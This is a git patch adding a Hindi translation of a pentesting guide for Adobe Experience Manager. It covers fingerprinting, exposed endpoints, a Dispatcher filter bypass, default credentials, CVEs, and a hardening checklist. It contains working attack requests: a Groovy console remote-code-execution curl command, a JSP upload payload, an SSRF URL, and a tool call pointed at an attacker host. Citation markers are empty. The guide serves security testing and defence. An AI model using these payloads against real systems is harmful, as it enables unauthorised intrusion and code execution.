From 832f92b99055d38a8f0f21198b8bed286c85f97c Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 30 Jul 2025 12:14:05 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/aem-adobe-ex --- .../aem-adobe-experience-cloud.md | 118 +++++++++++++++++- 1 file changed, 115 insertions(+), 3 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md b/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md index 4c33186b8..2297f5447 100644 --- a/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md +++ b/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md @@ -1,5 +1,117 @@ -{{#include ../../banners/hacktricks-training.md}} - -कमजोरियों और गलत कॉन्फ़िगरेशन को खोजें [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker) +# AEM (Adobe Experience Manager) Pentesting {{#include ../../banners/hacktricks-training.md}} + +> Adobe Experience Manager (AEM, Adobe Experience Cloud का हिस्सा) एक एंटरप्राइज CMS है जो Apache Sling/Felix (OSGi) और एक Java Content Repository (JCR) के ऊपर चलता है। +> हमलावर के दृष्टिकोण से AEM उदाहरण अक्सर खतरनाक विकास एंडपॉइंट्स, कमजोर Dispatcher नियम, डिफ़ॉल्ट क्रेडेंशियल और CVEs की एक लंबी श्रृंखला को उजागर करते हैं जो हर तिमाही पैच किए जाते हैं। + +नीचे दी गई चेकलिस्ट **बाहरी रूप से पहुंच योग्य (unauth) हमले की सतह** पर केंद्रित है जो वास्तविक अभियानों (2022-2025) में बार-बार दिखाई देती है। + +--- + +## 1. Fingerprinting +``` +$ curl -s -I https://target | egrep -i "aem|sling|cq" +X-Content-Type-Options: nosniff +X-Dispatcher: hu1 # header added by AEM Dispatcher +X-Vary: Accept-Encoding +``` +अन्य त्वरित संकेत: +* `/etc.clientlibs/` स्थिर पथ मौजूद है (JS/CSS लौटाता है)। +* `/libs/granite/core/content/login.html` लॉगिन पृष्ठ जिसमें “Adobe Experience Manager” बैनर है। +* `` टिप्पणी HTML के नीचे। + +--- + +## 2. उच्च-मूल्य वाले अनधिकृत एंडपॉइंट + +पथ | आपको क्या मिलता है | नोट्स +---- | ------------- | ----- +`/.json`, `/.1.json` | JCR नोड्स via **DefaultGetServlet** | अक्सर अवरुद्ध, लेकिन *Dispatcher bypass* (नीचे देखें) काम करता है। +`/bin/querybuilder.json?path=/` | QueryBuilder API | पृष्ठ वृक्ष, आंतरिक पथ, उपयोगकर्ता नाम का लीक। +`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix कंसोल | डिफ़ॉल्ट रूप से 403; यदि उजागर और क्रेडेंशियल्स पाए गए ⇒ बंडल-अपलोड RCE। +`/crx/packmgr/index.jsp` | पैकेज प्रबंधक | प्रमाणीकृत सामग्री पैकेजों की अनुमति देता है → JSP पेलोड अपलोड। +`/etc/groovyconsole/**` | AEM Groovy कंसोल | यदि उजागर → मनमाना Groovy / Java निष्पादन। +`/libs/cq/AuditlogSearchServlet.json` | ऑडिट लॉग | जानकारी का खुलासा। +`/libs/cq/ui/content/dumplibs.html` | ClientLibs डंप | XSS वेक्टर। + +### Dispatcher बायपास ट्रिक +अधिकांश उत्पादन साइटें *Dispatcher* (रिवर्स-प्रॉक्सी) के पीछे होती हैं। इसके फ़िल्टर नियमों को एक अनुमत स्थिर एक्सटेंशन **सेमीकोलन या एन्कोडेड न्यूलाइन के बाद** जोड़कर बायपास किया जा सकता है: +``` +GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1 +``` +एकल अनुरोध जैसे ऊपर अक्सर उपयोगकर्ता प्रोफ़ाइल नोड्स को ईमेल पतों के साथ प्रकट करता है। P-T Partners ने इस कमजोरी पर अच्छी मार्गदर्शिका प्रकाशित की है। 【】 + +--- + +## 3. सामान्य गलत कॉन्फ़िगरेशन (2025 में अभी भी जीवित) + +1. **गुमनाम POST सर्वलेट** – `POST /.json` के साथ `:operation=import` आपको नए JCR नोड्स लगाने की अनुमति देता है। डिस्पैचर में `*.json` POST को ब्लॉक करना इसे ठीक करता है। 【】 +2. **विश्व-प्रवेश योग्य उपयोगकर्ता प्रोफ़ाइल** – डिफ़ॉल्ट ACL `/home/users/**/profile/*` पर सभी को `jcr:read` प्रदान करता है। +3. **डिफ़ॉल्ट क्रेडेंशियल्स** – `admin:admin`, `author:author`, `replication:replication`। +4. **WCMDebugFilter** सक्षम ⇒ `?debug=layout` के माध्यम से परावर्तित XSS (CVE-2016-7882, अभी भी विरासती 6.4 इंस्टॉलेशन पर पाया गया)। +5. **Groovy कंसोल उजागर** – एक Groovy स्क्रिप्ट भेजकर दूरस्थ कोड निष्पादन: +```bash +curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json +``` + +--- + +## 4. हाल की कमजोरियाँ (सेवा-पैक की आवृत्ति) + +तिमाही | CVE | प्रभावित | प्रभाव +------- | --- | -------- | ------ +दिसंबर 2024 | **CVE-2024-43711** | 6.5.21 और पहले | अनुचित इनपुट मान्यता → **मनमाना कोड निष्पादन** (कम-priv auth की आवश्यकता)। 【】 +दिसंबर 2024 | CVE-2024-43724/26 | 6.5.21 और पहले | Move Page Wizard में DOM / स्टोर की गई XSS। 【】 +दिसंबर 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | तैयार URL के माध्यम से DOM-आधारित XSS। 【】 +दिसंबर 2022 | CVE-2022-30683 | ≤ 6.5.13 | क्रिप्टो डिज़ाइन दोष → गुप्त डिक्रिप्शन (कम-priv क्रेडेंशियल्स की आवश्यकता)। 【】 + +हमेशा ग्राहक की सेवा-पैक से मेल खाने वाले *APSB* बुलेटिन की जांच करें और नवीनतम **6.5.22** या *Cloud Service 2024.11* का अनुरोध करें। + +--- + +## 5. शोषण स्निप्पेट्स + +### 5.1 डिस्पैचर बायपास + JSP अपलोड के माध्यम से RCE +यदि गुमनाम लेखन संभव है: +``` +# 1. Create a node that will become /content/evil.jsp +POST /content/evil.jsp;%0aa.css HTTP/1.1 +Content-Type: application/x-www-form-urlencoded + +:contentType=text/plain +jcr:data=<% out.println("pwned"); %> +:operation=import +``` +अब `/content/evil.jsp` का अनुरोध करें - JSP AEM प्रक्रिया उपयोगकर्ता के साथ चलती है। + +### 5.2 SSRF से RCE (ऐतिहासिक < 6.3) +`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console` +`aem_ssrf2rce.py` **aem-hacker** से पूरी श्रृंखला को स्वचालित करता है। 【】 + +--- + +## 6. उपकरण + +* **aem-hacker** – स्विस-आर्मी एन्यूमरेशन स्क्रिप्ट, डिस्पैचर बायपास, SSRF पहचान, डिफ़ॉल्ट-क्रेड्स जांच और अधिक का समर्थन करता है। +```bash +python3 aem_hacker.py -u https://target --host attacker-ip +```【】 +* **Content Brute-force** – छिपे हुए घटकों को खोजने के लिए `/_jcr_content.(json|html)` को पुनरावृत्त रूप से अनुरोध करें। +* **osgi-infect** – यदि क्रेड्स उपलब्ध हैं तो `/system/console/bundles` के माध्यम से दुर्भावनापूर्ण OSGi बंडल अपलोड करें। + +--- + +## 7. हार्डनिंग चेकलिस्ट (आपकी रिपोर्ट की सिफारिशों के लिए) + +1. **नवीनतम संचयी सेवा पैक** पर इंस्टेंस रखें (जुलाई 2025 के अनुसार: 6.5.22)। +2. डिफ़ॉल्ट खातों को हटा दें/घुमाएं; SSO/SAML को लागू करें। +3. **Dispatcher फ़िल्टर** को कड़ा करें - अनाम उपयोगकर्ताओं के लिए `;`, एन्कोडेड नई पंक्तियाँ, और `*.json` या `*.querybuilder.json` को अस्वीकार करें। +4. कंसोल्स (`/system/console`, `/crx/*`, `/etc/groovyconsole`) को IP अनुमति-सूचियों के साथ अक्षम या सुरक्षित करें। +5. Adobe द्वारा भेजे गए *Anonymous Permission Hardening* पैकेज को लागू करें। + +## संदर्भ + +* Adobe सुरक्षा बुलेटिन APSB24-69 – “Adobe Experience Manager के लिए सुरक्षा अपडेट (दिसंबर 2024)”. +* 0ang3el – aem-hacker उपकरण (GitHub). +{{#include ../../banners/hacktricks-training.md}}